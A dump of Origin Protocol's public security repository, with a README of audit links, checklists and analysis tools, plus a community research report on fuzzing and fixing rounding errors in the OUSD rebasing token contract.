├── README.md ├── audits ├── Certora - Formal verification - December 2024.pdf ├── Narya - Origin OETH Report - May 2023 - Initial Report.pdf ├── OpenZeppelin - Origin Aerodrome AMO Strategy Audit - September 2024.pdf ├── OpenZeppelin - Origin Arm Audit - November 2024.pdf ├── OpenZeppelin - Origin Balancer MetaPool Strategy - Sept 2023.pdf ├── OpenZeppelin - Origin Dollar - October 2021.pdf ├── OpenZeppelin - Origin Dollar Convex - October 2022.pdf ├── OpenZeppelin - Origin Dollar Dripper & Uniswap strategy - April 2023.pdf ├── OpenZeppelin - Origin Dollar Governance - June 2022.pdf ├── OpenZeppelin - Origin Dollar OETH Integration - May 2023.pdf ├── OpenZeppelin - Origin Dollar OGV and OGN Merge - May 2024.pdf ├── OpenZeppelin - Origin OETH Withdrawal Queue Audit - August 2024.pdf ├── OpenZeppelin - Origin OUSD - December 2024.pdf ├── OpenZeppelin - Origin SSV Native Staking - June 2024.pdf ├── OpenZeppelin - Origin Sonic Staking - February 2025.pdf ├── OpenZeppelin - Origin Sonic SwapX AMO Strategy Audit - April 2025.pdf ├── OpenZeppelin - Origin WOETH and Vault Update - April 2025.pdf ├── Perimeter - OETHVault - March 2024 - Fuzzing Report.pdf ├── Perimeter - WOETH Alternative Design - April 2025.pdf ├── Solidified - OGN Staking - Dec 2020.pdf ├── Solidified - OGN Staking - July 2022.pdf ├── Solidified - OGV, wOUSD, and ERC721a - May 2022.pdf ├── Solidified - Origin Dollar - Dec 2020.pdf ├── Trail of Bits - Origin Dollar - Dec 2020.pdf ├── Trail of Bits - Origin Marketplace and OGN Token - Nov 2018.pdf └── community │ ├── CyberScope - OGN Staking - Dec 2022.pdf │ ├── Origin Dollar - Rappie - Rebase PR 1239 Audit - March 2023.pdf │ └── Origin Dollar - Rappie - Rounding Errors Research and Analysis - April 2023.md ├── incidents ├── 2020-12-AAVE-proxy.md ├── 2020-12-Cover.md ├── 2020-12-Warp-finance-oracle.md ├── 2021-01-20-Saddle.md ├── 2021-02-05-Yearn.md ├── 2021-02-09-BT-finance.md ├── 2021-02-10-Growth-Defi.md ├── 2021-02-13-Alpha-Homora-v2.md ├── 2021-02-22-PrimitiveFinance.md ├── 2021-02-27-Furucombo.md ├── 2021-03-04-Meerkat-Finance.md ├── 2021-03-08-Dodo.md ├── 2021-04-05-ForceDAO.md ├── 2021-05-02-Spartan-Pool.md ├── 2021-05-16-BearnFi.md ├── 2021-05-22-Bog-Finance.md ├── 2021-05-26-Merlin.md ├── 2021-06-17-Zapper.md ├── 2021-06-28-SafeDollar.md ├── 2021-08-31-Cream.md ├── 2023-02-04-USDS-Sperax.md └── README.md ├── reproductions ├── 2020-12-cover │ ├── .gitignore │ ├── README.md │ ├── abi │ │ ├── Blacksmith.json │ │ ├── Cover.json │ │ └── ERC20.json │ ├── hardhat.config.js │ ├── package.json │ ├── yarn-error.log │ └── yarn.lock ├── 2021-01-ousd │ ├── .gitignore │ ├── README.md │ ├── abi │ │ ├── ERC20.json │ │ ├── OUSD.json │ │ └── VaultCore.json │ ├── contracts │ │ └── Exploit.sol │ ├── hardhat.config.js │ ├── package.json │ └── yarn.lock ├── 2021-02-27-furucombo │ ├── Delegate Call Diagram.afdesign │ ├── delegatecall.png │ ├── takeover.afdesign │ ├── takeover.png │ └── takeover.svg ├── 2021-05-02-spartan │ ├── .gitattributes │ ├── .gitignore │ ├── README.md │ ├── contracts │ │ ├── coins.sol │ │ └── spartan.sol │ └── tests │ │ └── test_hack.py ├── 2021-1-saddle │ ├── .gitignore │ ├── README.md │ ├── abi │ │ ├── ERC20.json │ │ └── swap.json │ ├── hardhat.config.js │ ├── package.json │ ├── yarn-error.log │ └── yarn.lock └── assets │ └── 2021_merlin_illustration.png └── templates └── Contract-Code-Review.md /README.md: -------------------------------------------------------------------------------- 1 | Repo for public materials related to [Origin](https://www.originprotocol.com) security. 2 | 3 | # Table of Contents 4 | 1. [Defi incident reports](#defi-incident-reports) 5 | 1. [Security materials](#security-materials) 6 | 1. [Checklists](#checklists) 7 | 1. [Tools](#tools) 8 | 1. [External audits](#external-audits) 9 | 10 | # Defi incident reports 11 | - [Reports](/incidents) 12 | 13 | # Security materials 14 | - [Solidity security considerations](https://docs.soliditylang.org/en/v0.7.5/security-considerations.html) 15 | - [Trail of Bits curated list](https://github.com/crytic/awesome-ethereum-security) 16 | - [Caveats about ecrecover](https://docs.kaleido.io/faqs/why-ecrecover-fails/) 17 | - [2020 paradigm CTF writeup](https://github.com/DanielVF/2020_paradigm_ctf_writeup) 18 | - [How to do a Proper Code Review](https://medium.com/@danielvf/how-to-do-a-proper-code-review-901bd037905c) 19 | 20 | # Checklists 21 | - [ERC20 token integration checklist](https://github.com/crytic/building-secure-contracts/blob/master/development-guidelines/token_integration.md) 22 | - [Contract PR checklist](https://github.com/OriginProtocol/origin-dollar/blob/master/pull_request_template.md) 23 | - [Verbose Contract PR Checklist](https://github.com/OriginProtocol/security/blob/master/templates/Contract-Code-Review.md) 24 | - [Deployment Plan template on notion](https://www.notion.so/originprotocol/Deployment-Plan-d5aa7d033cc54d78914e00bf040344d2) 25 | 26 | # Tools 27 | 28 | ## Testing 29 | ### Slither 30 | [Slither](https://github.com/crytic/slither) is a static analysis tool for Solidity contracts. 31 | 32 | #### How to run it 33 | ``` 34 | pip3 install slither-analyzer 35 | cd origin-dollar/contracts 36 | yarn install 37 | yarn run slither 38 | ``` 39 | 40 | #### Updating Slither DB 41 | ``` 42 | yarn run slither --triage 43 | ``` 44 | Running this command will open an interactive console where you can select the errors/warning that you want to be excluded. Once done, commit and push the updated Slither DB file. Note: make sure you are running the latest version of slither on your local. 45 | 46 | ### Echidna 47 | [Echidna](https://github.com/crytic/echidna) is a test fuzzer for Solidity contracts. 48 | 49 | The Echnida tests for the OUSD contracts are under [contracts/contract/crytic](https://github.com/OriginProtocol/origin-dollar/tree/master/contracts/contracts/crytic). 50 | 51 | #### How to run it 52 | On MacOS and Linux, download the latest pre-compiled binaries from [here](https://github.com/crytic/echidna/releases). 53 | Untar the files in a directory and add the path where the echidna-test binary was extracted to your shell's PATH. 54 | 55 | To run the tests: 56 | ``` 57 | cd origin-dollar/contracts 58 | yarn run echidna 59 | ``` 60 | 61 | Note that the tests take about ~30min to run. 62 | 63 | ## Transaction viewers 64 | - https://openchain.xyz/trace 65 | - https://tx.eth.samczsun.com 66 | - https://ethtx.info 67 | 68 | ## Bytecode decompilers 69 | - https://library.dedaub.com/decompile 70 | 71 | ## 4byte signature databases 72 | - https://openchain.xyz/signatures 73 | - https://www.4byte.directory 74 | 75 | # External audits 76 | See [this directory](https://github.com/OriginProtocol/security/tree/master/audits) 77 | 78 | # Bug bounty program 79 | - Refer to https://docs.ousd.com/security-and-risks/bug-bounties 80 | - [Example of a well written bug report](https://gist.github.com/DanielVF/66f459da88804d1fd917c47576c68523) 81 | 82 | 83 | -------------------------------------------------------------------------------- /audits/Certora - Formal verification - December 2024.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/OriginProtocol/security/4263ea0106628fa514e965bc71aa26c8bdec5a99/audits/Certora - Formal verification - December 2024.pdf -------------------------------------------------------------------------------- /audits/Narya - Origin OETH Report - May 2023 - Initial Report.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/OriginProtocol/security/4263ea0106628fa514e965bc71aa26c8bdec5a99/audits/Narya - Origin OETH Report - May 2023 - Initial Report.pdf -------------------------------------------------------------------------------- /audits/OpenZeppelin - Origin Aerodrome AMO Strategy Audit - September 2024.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/OriginProtocol/security/4263ea0106628fa514e965bc71aa26c8bdec5a99/audits/OpenZeppelin - Origin Aerodrome AMO Strategy Audit - September 2024.pdf -------------------------------------------------------------------------------- /audits/OpenZeppelin - Origin Arm Audit - November 2024.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/OriginProtocol/security/4263ea0106628fa514e965bc71aa26c8bdec5a99/audits/OpenZeppelin - Origin Arm Audit - November 2024.pdf -------------------------------------------------------------------------------- /audits/OpenZeppelin - Origin Balancer MetaPool Strategy - Sept 2023.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/OriginProtocol/security/4263ea0106628fa514e965bc71aa26c8bdec5a99/audits/OpenZeppelin - Origin Balancer MetaPool Strategy - Sept 2023.pdf -------------------------------------------------------------------------------- /audits/OpenZeppelin - Origin Dollar - October 2021.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/OriginProtocol/security/4263ea0106628fa514e965bc71aa26c8bdec5a99/audits/OpenZeppelin - Origin Dollar - October 2021.pdf -------------------------------------------------------------------------------- /audits/OpenZeppelin - Origin Dollar Convex - October 2022.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/OriginProtocol/security/4263ea0106628fa514e965bc71aa26c8bdec5a99/audits/OpenZeppelin - Origin Dollar Convex - October 2022.pdf -------------------------------------------------------------------------------- /audits/OpenZeppelin - Origin Dollar Dripper & Uniswap strategy - April 2023.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/OriginProtocol/security/4263ea0106628fa514e965bc71aa26c8bdec5a99/audits/OpenZeppelin - Origin Dollar Dripper & Uniswap strategy - April 2023.pdf -------------------------------------------------------------------------------- /audits/OpenZeppelin - Origin Dollar Governance - June 2022.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/OriginProtocol/security/4263ea0106628fa514e965bc71aa26c8bdec5a99/audits/OpenZeppelin - Origin Dollar Governance - June 2022.pdf -------------------------------------------------------------------------------- /audits/OpenZeppelin - Origin Dollar OETH Integration - May 2023.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/OriginProtocol/security/4263ea0106628fa514e965bc71aa26c8bdec5a99/audits/OpenZeppelin - Origin Dollar OETH Integration - May 2023.pdf -------------------------------------------------------------------------------- /audits/OpenZeppelin - Origin Dollar OGV and OGN Merge - May 2024.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/OriginProtocol/security/4263ea0106628fa514e965bc71aa26c8bdec5a99/audits/OpenZeppelin - Origin Dollar OGV and OGN Merge - May 2024.pdf -------------------------------------------------------------------------------- /audits/OpenZeppelin - Origin OETH Withdrawal Queue Audit - August 2024.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/OriginProtocol/security/4263ea0106628fa514e965bc71aa26c8bdec5a99/audits/OpenZeppelin - Origin OETH Withdrawal Queue Audit - August 2024.pdf -------------------------------------------------------------------------------- /audits/OpenZeppelin - Origin OUSD - December 2024.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/OriginProtocol/security/4263ea0106628fa514e965bc71aa26c8bdec5a99/audits/OpenZeppelin - Origin OUSD - December 2024.pdf -------------------------------------------------------------------------------- /audits/OpenZeppelin - Origin SSV Native Staking - June 2024.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/OriginProtocol/security/4263ea0106628fa514e965bc71aa26c8bdec5a99/audits/OpenZeppelin - Origin SSV Native Staking - June 2024.pdf -------------------------------------------------------------------------------- /audits/OpenZeppelin - Origin Sonic Staking - February 2025.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/OriginProtocol/security/4263ea0106628fa514e965bc71aa26c8bdec5a99/audits/OpenZeppelin - Origin Sonic Staking - February 2025.pdf -------------------------------------------------------------------------------- /audits/OpenZeppelin - Origin Sonic SwapX AMO Strategy Audit - April 2025.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/OriginProtocol/security/4263ea0106628fa514e965bc71aa26c8bdec5a99/audits/OpenZeppelin - Origin Sonic SwapX AMO Strategy Audit - April 2025.pdf -------------------------------------------------------------------------------- /audits/OpenZeppelin - Origin WOETH and Vault Update - April 2025.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/OriginProtocol/security/4263ea0106628fa514e965bc71aa26c8bdec5a99/audits/OpenZeppelin - Origin WOETH and Vault Update - April 2025.pdf -------------------------------------------------------------------------------- /audits/Perimeter - OETHVault - March 2024 - Fuzzing Report.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/OriginProtocol/security/4263ea0106628fa514e965bc71aa26c8bdec5a99/audits/Perimeter - OETHVault - March 2024 - Fuzzing Report.pdf -------------------------------------------------------------------------------- /audits/Perimeter - WOETH Alternative Design - April 2025.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/OriginProtocol/security/4263ea0106628fa514e965bc71aa26c8bdec5a99/audits/Perimeter - WOETH Alternative Design - April 2025.pdf -------------------------------------------------------------------------------- /audits/Solidified - OGN Staking - Dec 2020.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/OriginProtocol/security/4263ea0106628fa514e965bc71aa26c8bdec5a99/audits/Solidified - OGN Staking - Dec 2020.pdf -------------------------------------------------------------------------------- /audits/Solidified - OGN Staking - July 2022.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/OriginProtocol/security/4263ea0106628fa514e965bc71aa26c8bdec5a99/audits/Solidified - OGN Staking - July 2022.pdf -------------------------------------------------------------------------------- /audits/Solidified - OGV, wOUSD, and ERC721a - May 2022.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/OriginProtocol/security/4263ea0106628fa514e965bc71aa26c8bdec5a99/audits/Solidified - OGV, wOUSD, and ERC721a - May 2022.pdf -------------------------------------------------------------------------------- /audits/Solidified - Origin Dollar - Dec 2020.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/OriginProtocol/security/4263ea0106628fa514e965bc71aa26c8bdec5a99/audits/Solidified - Origin Dollar - Dec 2020.pdf -------------------------------------------------------------------------------- /audits/Trail of Bits - Origin Dollar - Dec 2020.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/OriginProtocol/security/4263ea0106628fa514e965bc71aa26c8bdec5a99/audits/Trail of Bits - Origin Dollar - Dec 2020.pdf -------------------------------------------------------------------------------- /audits/Trail of Bits - Origin Marketplace and OGN Token - Nov 2018.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/OriginProtocol/security/4263ea0106628fa514e965bc71aa26c8bdec5a99/audits/Trail of Bits - Origin Marketplace and OGN Token - Nov 2018.pdf -------------------------------------------------------------------------------- /audits/community/CyberScope - OGN Staking - Dec 2022.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/OriginProtocol/security/4263ea0106628fa514e965bc71aa26c8bdec5a99/audits/community/CyberScope - OGN Staking - Dec 2022.pdf -------------------------------------------------------------------------------- /audits/community/Origin Dollar - Rappie - Rebase PR 1239 Audit - March 2023.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/OriginProtocol/security/4263ea0106628fa514e965bc71aa26c8bdec5a99/audits/community/Origin Dollar - Rappie - Rebase PR 1239 Audit - March 2023.pdf -------------------------------------------------------------------------------- /audits/community/Origin Dollar - Rappie - Rounding Errors Research and Analysis - April 2023.md: -------------------------------------------------------------------------------- 1 | # Rounding errors in OUSD 2 | 3 | ## Introduction 4 | This document describes the research and investigation of possible fixes for rounding errors in the `OUSD` contract. 5 | 6 | The research is performed by Rappie (Twitter: @rappenstein2), between February and March of 2023. 7 | 8 | ## Scope 9 | In this report, we will be looking at rounding errors in the `OUSD` contract. The main goal is to gain insight into the current behavior and limits of the system. Additionally, we will explore potential solutions. 10 | 11 | We will start by providing some background on the occurrence of rounding errors in the `OUSD` contract. After this, we will utilize Echidna to detect them, and attempt to find suitable solutions on a per-case basis. 12 | 13 | Finally, we will present our findings and try to provide reasonings as to why the rounding errors only seem to be solvable to a certain degree. 14 | 15 | ## About OUSD 16 | OUSD is designed as a rebasing token. This means it is a type of token that algorithmically adjusts its supply based on certain conditions. In the case of OUSD, rebasing happens based on the passive yield generated by the protocol. This yield is being reflected in the user's balance steadily increasing over time. 17 | 18 | Internally, OUSD uses a multiplier system for dynamically calculating user balances. Updating all accounts with every rebase would require too much gas. Instead, the balance consists of a credit amount and a (global) multiplier. When a rebase occurs, only the multiplier needs to be increased. 19 | 20 | OUSD also supports users to opt in and out of rebasing. When a user decides to opt out, their current multiplier is locked. This locking is per account, resulting in many different multipliers being stored over time. 21 | 22 | ## Rounding errors in OUSD 23 | Rounding errors occur in several parts of the `OUSD` contract. We will investigate some concrete examples below. 24 | 25 | ### Change supply 26 | Let's start by looking at changes in supply. When a rebase happens, the `changeSupply` function is used to change the total supply of OUSD. This happens by increasing the `_rebasingCreditsPerToken` multiplier. 27 | 28 | ```solidity 29 | _rebasingCreditsPerToken = _rebasingCredits.divPrecisely( 30 | _totalSupply.sub(nonRebasingSupply) 31 | ); 32 | 33 | require(_rebasingCreditsPerToken > 0, "Invalid change in supply"); 34 | 35 | _totalSupply = _rebasingCredits 36 | .divPrecisely(_rebasingCreditsPerToken) 37 | .add(nonRebasingSupply); 38 | ``` 39 | 40 | Consider the following example: 41 | 1. User A has balance `1` 42 | 2. User B has balance `1` 43 | 3. Total supply is `2` 44 | 4. A rebase happens, changing total supply to `3` 45 | 5. User A & B will still have balance `1` because `1.5` gets rounded down to `1` 46 | 6. Total supply is now `3` 47 | 48 | In this example, one of the basic invariants of ERC20 tokens is broken. The sum of all balances should always equal the total supply. 49 | 50 | ### Transfer 51 | Rounding errors can occur when transferring tokens between a rebasing and a non-rebasing account. In this scenario, we are dealing with two distinct multipliers. 52 | 53 | ```solidity 54 | function _creditsPerToken(address _account) internal view returns (uint256) { 55 | if (nonRebasingCreditsPerToken[_account] != 0) { 56 | return nonRebasingCreditsPerToken[_account]; 57 | } else { 58 | return _rebasingCreditsPerToken; 59 | } 60 | } 61 | ``` 62 | 63 | Due to working with two different multipliers, a slight difference between the credited amount for the recipient and the deducted amount for the sender can occur. 64 | 65 | ```solidity 66 | uint256 creditsCredited = _value.mulTruncate(_creditsPerToken(_to)); 67 | uint256 creditsDeducted = _value.mulTruncate(_creditsPerToken(_from)); 68 | ``` 69 | 70 | ### Mint & Burn 71 | Both minting and burning contain rounding problems. In this case, we will be focussing on `burn`. 72 | 73 | ```solidity 74 | uint256 creditAmount = _amount.mulTruncate(_creditsPerToken(_account)); 75 | uint256 currentCredits = _creditBalances[_account]; 76 | 77 | // Remove the credits, burning rounding errors 78 | if ( 79 | currentCredits == creditAmount || currentCredits - 1 == creditAmount 80 | ) { 81 | // Handle dust from rounding 82 | _creditBalances[_account] = 0; 83 | } else if (currentCredits > creditAmount) { 84 | _creditBalances[_account] = _creditBalances[_account].sub( 85 | creditAmount 86 | ); 87 | } else { 88 | revert("Remove exceeds balance"); 89 | } 90 | ``` 91 | 92 | As can be seen in the code above, the amount of balance to be burned needs to be converted to a number of credits to deduct from the user's credit balance. 93 | 94 | Consider the following example: 95 | 1. User A has balance `100` 96 | 2. Total supply is `100` 97 | 3. Burn `1` token from user A 98 | - Amount `1` gets converted to `0` credits due to rounding down 99 | - `0` credits are subtracted from user A 100 | - `1` token is subtracted from the total supply 101 | 4. User A still has balance `100` 102 | 5. Total supply is now `99` 103 | 104 | This effectively causes supply to vanish while the account balance stays the same. Thankfully, this scenario only works for `1` token at a time. 105 | 106 | ### Opt-in 107 | Opting in can be seen as transferring all balance from an account in a non-rebasing state to the same account in rebasing state. Therefore, it suffers from the same kind of rounding errors as `transfer` does. 108 | 109 | ```solidity 110 | uint256 oldBalance = balanceOf(msg.sender); 111 | uint256 newCreditBalance = _creditBalances[msg.sender] 112 | .mul(_rebasingCreditsPerToken) 113 | .div(_creditsPerToken(msg.sender)); 114 | ``` 115 | 116 | ## Detecting rounding errors 117 | We will be using Echidna to help us detect rounding errors. There are many strategies for this, we will keep things simple and use a single invariant. 118 | 119 | This invariant states that the sum of all balances must be equal to the total supply. 120 | ```solidity 121 | function invariantTotalBalanceEqualsTotalSupply() public { 122 | totalBalance = _getTotalBalance(); // sum all balances 123 | totalSupply = ousd.totalSupply(); 124 | assert(totalBalance == totalSupply); 125 | } 126 | ``` 127 | 128 | With `multi-abi` enabled, Echidna will be fuzzing the entire ABI of the contract. Additionally, we created helper functions to narrow the search space. 129 | 130 | Example of helpers functions: 131 | ```solidity 132 | function transfer( 133 | uint8 fromAccId, 134 | uint8 toAccId, 135 | uint256 amount 136 | ) public { 137 | address from = getAccountFromUint8(fromAccId); 138 | address to = getAccountFromUint8(toAccId); 139 | 140 | hevm.prank(from); 141 | ousd.transfer(to, amount); 142 | } 143 | 144 | function rebaseOptIn(uint8 targetAccId) public { 145 | address target = getAccountFromUint8(targetAccId); 146 | 147 | hevm.prank(target); 148 | ousd.rebaseOptIn(); 149 | } 150 | ``` 151 | 152 | We know there are existing rounding errors, so non-surprisingly, Echidna makes quick work of breaking our invariant. 153 | 154 | ```solidity 155 | invariantTotalBalanceEqualsTotalSupply(): failed!💥 156 | Call sequence: 157 | mint(,2) 158 | transfer(,,1) 159 | changeSupply(1) 160 | invariantTotalBalanceEqualsTotalSupply() 161 | 162 | Event sequence: Panic(1): Using assert. 163 | ``` 164 | 165 | Our next step is to examine the error and try to fix this in the code as best we can. Our goal is to gain more insight into the reasons and possible solutions, so at the moment, this fix doesn't need to be perfect. Next, we run Echidna again. 166 | 167 | We will keep doing this until either Echidna stops breaking the invariant or we reach a point where any more fixes are impossible or result in (unwanted) side effects. 168 | 169 | Spoiler alert: Eventually we determined it to be impossible to get rid of all rounding errors (at least with our current understanding). 170 | 171 | ## Fixing rounding errors 172 | We have investigated two different approaches to try and fix the rounding errors: 173 | 1. Tweaking functions in the current code 174 | 2. Storing rounding errors in a dedicated variable in the contract 175 | 176 | Let's look at each approach in more detail below. 177 | 178 | ### Tweaking current code 179 | In this approach, we will make small modifications to the existing functions and refrain from making any changes to the basic design of the contract. 180 | 181 | #### Change supply 182 | The current `changeSupply` function has known problems. There already exists an improved version of this in a pull request on Github. We will be using this newer version. 183 | 184 | https://github.com/OriginProtocol/origin-dollar/blob/8f2df077b6652d48cbd56878c07116b3c56d01b9/contracts/contracts/token/OUSD.sol#L441-L494 185 | 186 | #### Transfer 187 | The main problem with `transfer` is the differences between the amount sent and the amount received. As explained earlier, this is due to rounding errors when using different "credits per token" multipliers. 188 | 189 | In an attempt to fix this, we have explored the possibility to calculate the amount based on the multiplier with the lowest precision. This should help with making sure the amount transferred is the same on both ends. 190 | 191 | ```solidity 192 | uint256 creditsCredited; 193 | uint256 creditsDeducted; 194 | if (toCpt == fromCpt) { 195 | creditsCredited = _value.mulTruncate(toCpt); 196 | creditsDeducted = _value.mulTruncate(fromCpt); 197 | } else if (toCpt > fromCpt) { 198 | creditsDeducted = _value.mulTruncate(fromCpt); 199 | // deliberately do div before mul 200 | creditsCredited = creditsDeducted.divPrecisely(fromCpt).mulTruncate( 201 | toCpt 202 | ); 203 | } else { 204 | creditsCredited = _value.mulTruncate(toCpt); 205 | // deliberately do div before mul 206 | creditsDeducted = creditsCredited.divPrecisely(toCpt).mulTruncate( 207 | fromCpt 208 | ); 209 | } 210 | ``` 211 | 212 | This works to an extent but opens up a broader discussion. For example: if you transfer amount X, you always want at least X tokens arriving at the sender. We will consider this discussion out of scope for the report. 213 | 214 | #### Mint & Burn 215 | We made several changes to `mint` and `burn`. The changes are similar in nature, so we will only be describing the `burn` function here. 216 | 217 | For starters, we added a `require` statement that reverts when the number of tokens to be burned translates to `0` credits. 218 | 219 | ```solidity 220 | require(creditAmount > 0, "Burn amount too small"); 221 | ``` 222 | 223 | Second, we removed some of the existing code meant to reduce the possibility of "dust" remaining after a burn. 224 | 225 | ```solidity 226 | if ( 227 | currentCredits == creditAmount || currentCredits - 1 == creditAmount 228 | ) { 229 | // Handle dust from rounding 230 | _creditBalances[_account] = 0; 231 | } else if (currentCredits > creditAmount) { 232 | _creditBalances[_account] = _creditBalances[_account].sub( 233 | creditAmount 234 | ); 235 | } else { 236 | revert("Remove exceeds balance"); 237 | } 238 | ``` 239 | 240 | Finally, we subtract the actual change in balance from `nonRebasingSupply` instead of relying on the `_amount` argument. 241 | 242 | ```solidity 243 | if (isNonRebasingAccount) { 244 | uint256 balanceChange = creditAmount.divPrecisely( 245 | _creditsPerToken(_account) 246 | ); 247 | nonRebasingSupply = nonRebasingSupply.add(balanceChange); 248 | } else { 249 | _rebasingCredits = _rebasingCredits.add(creditAmount); 250 | } 251 | ``` 252 | 253 | #### Opt-in 254 | As mentioned above, opting in is basically a self-transfer from a non-rebasing to a rebasing account. In contrast to `transfer`, we are dealing with just one account here. This means that we cannot easily guarantee the balance to remain the same. 255 | 256 | We chose to update the total supply in the case of a change in balance. 257 | 258 | ```solidity 259 | if (newBalance < oldBalance) { 260 | _totalSupply = _totalSupply.sub(oldBalance.sub(newBalance)); 261 | } else if (newBalance > oldBalance) { 262 | _totalSupply = _totalSupply.add(newBalance.sub(oldBalance)); 263 | } else { 264 | // do nothing 265 | } 266 | ``` 267 | 268 | This again opens up a broader discussion. The total supply is managed by the `Vault` contract, and should only be changed in the case of a rebase. We consider this discussion to be out of the scope of this report. 269 | 270 | ### Storing rounding errors 271 | The reasoning behind this approach is as follows: we know there are rounding errors, why not embrace them instead of trying to get rid of them? What if we can determine the error being introduced with each action and store this in a separate signed integer variable? 272 | 273 | Spoiler alert: In the end, it turned out we can't always determine the error being introduced. More on this later. 274 | 275 | #### Variable storing rounding errors 276 | We start by introducing a new signed integer variable. This variable will be updated when any rounding error occurs. 277 | 278 | ```solidity 279 | int256 totalSupplyRoundingError; 280 | ``` 281 | 282 | #### Total supply 283 | Next, we need our total supply to take any accrued rounding errors into account. 284 | 285 | ```solidity 286 | function totalSupply() public view override returns (uint256) { 287 | int256 totalSupply = int256(_totalSupply) + totalSupplyRoundingError; 288 | if (totalSupply < 0) { 289 | return 0; 290 | } 291 | return uint256(totalSupply); 292 | } 293 | ``` 294 | 295 | #### Transfer 296 | To determine if transferring tokens causes any rounding errors, we look at the differences in balance before and after the transfer. 297 | 298 | ```solidity 299 | uint256 fromBalanceBefore = balanceOf(_from); 300 | uint256 toBalanceBefore = balanceOf(_to); 301 | 302 | _creditBalances[_from] = _creditBalances[_from].sub( 303 | creditsDeducted, 304 | "Transfer amount exceeds balance" 305 | ); 306 | _creditBalances[_to] = _creditBalances[_to].add(creditsCredited); 307 | 308 | uint256 fromBalanceAfter = balanceOf(_from); 309 | uint256 toBalanceAfter = balanceOf(_to); 310 | 311 | int256 fromDelta = int256(fromBalanceAfter) - int256(fromBalanceBefore); 312 | int256 toDelta = int256(toBalanceAfter) - int256(toBalanceBefore); 313 | ``` 314 | 315 | In case of rounding errors, we update `totalSupplyRoundingError` accordingly. 316 | 317 | ```solidity 318 | int256 roundingError = fromDelta + toDelta; 319 | totalSupplyRoundingError = totalSupplyRoundingError + roundingError; 320 | ``` 321 | 322 | #### Mint 323 | For minting, we do the same. We store the balance before and after minting and store any rounding errors. 324 | 325 | ```solidity 326 | uint256 balanceBefore = balanceOf(_account); 327 | _creditBalances[_account] = _creditBalances[_account].add(creditAmount); 328 | uint256 balanceAfter = balanceOf(_account); 329 | 330 | ... 331 | 332 | uint256 balanceIncrease = balanceAfter.sub(balanceBefore); 333 | int256 roundingError = int256(_amount) - int256(balanceIncrease); 334 | 335 | totalSupplyRoundingError = totalSupplyRoundingError - roundingError; 336 | ``` 337 | 338 | #### Change supply 339 | While being led by Echidna to find the next error after each modification we made, we ended up taking a look at `changeSupply`. This is where we hit a roadblock. 340 | 341 | To update `totalSupplyRoundingError`, we need to determine if any rounding errors are being introduced during the execution of `changeSupply`. For this, we would have to compare the sum of all balances after the change with the new total supply. 342 | 343 | This is not possible, because we would have to iterate over all accounts, which would cost way too much gas. The `_rebasingCreditsPerToken` variable is used specifically to prevent these kinds of iterations from being necessary. 344 | 345 | Without being able to determine the rounding error here, it was concluded that this approach is not feasible. 346 | 347 | In the next section, we will describe any new insights gained from attempting this approach. 348 | 349 | ## Conclusion 350 | Dealing with rounding errors in Solidity is hard. 351 | 352 | During this project, we had the luxury of leaving broader discussions about the intended behavior of OUSD out of scope. In reality, we've come to learn, dealing with rounding errors is much more complex than just balancing accounts and variables. 353 | 354 | With the current setup of OUSD and the existing feature set of Solidity, it appears that rounding errors are here to stay for years to come. Despite this, improvements can be made. 355 | 356 | Even though our effort didn't succeed in removing all rounding errors, some can be prevented. It might be worthwhile to examine this further in the future. 357 | 358 | Some considerations: 359 | - Revert when minting/burning an amount that would result in `0` credits 360 | - Move away from the total supply having to remain static between rebases. This will enable the possibility to do rewrites of OUSD in the future, e.g. dynamically calculate the total supply 361 | - Setting limits on `_rebasingCreditsPerToken` to prevent extreme situations and have well-defined limits 362 | 363 | Additionally, we have identified several strategies to reduce the impact of rounding errors on the end user. 364 | - Using higher precision (more decimals) internally reduces the amount of rounding errors visible from the outside 365 | - Make sure that during a transfer the amount sent is rounded down and the amount received is rounded up 366 | - Make sure opting in does not reduce the balance of the user 367 | 368 | ## Future research 369 | We believe that having someone with a background in mathematics take a look at the core problems behind rounding errors would be beneficial. 370 | 371 | Another approach would be to re-design the whole system from scratch while taking advantage of our current knowledge. This new design doesn't necessarily need to be implemented to be of use. It could shed new light on current problems and provide guidance on how to incrementally work towards a future goal. 372 | 373 | Knowing the current limitations and requirements of the protocol as a whole also helps. As first steps one could consider: 374 | 1. Adding fuzzing to the test suite to gain more understanding of edge cases 375 | 2. Writing user stories for common actions to better define the intended behavior 376 | 377 | ## References & Acknowledgements 378 | Origin Dollar Pull Request *"Rethink changeSupply"* 379 | - https://github.com/OriginProtocol/origin-dollar/pull/561 380 | 381 | Echidna - Smart Contract Fuzzer 382 | - https://github.com/crytic/echidna 383 | 384 | ChatGPT - Utilized as a resource to assist in writing this report 385 | - https://chat.openai.com/chat 386 | 387 | Many thanks to DanielVF for the support and feedback 388 | 389 | ## Disclaimer 390 | The information, advice, or services provided by me (Rappie) were based on my best knowledge and abilities at the time of delivery. However, I cannot guarantee the accuracy, 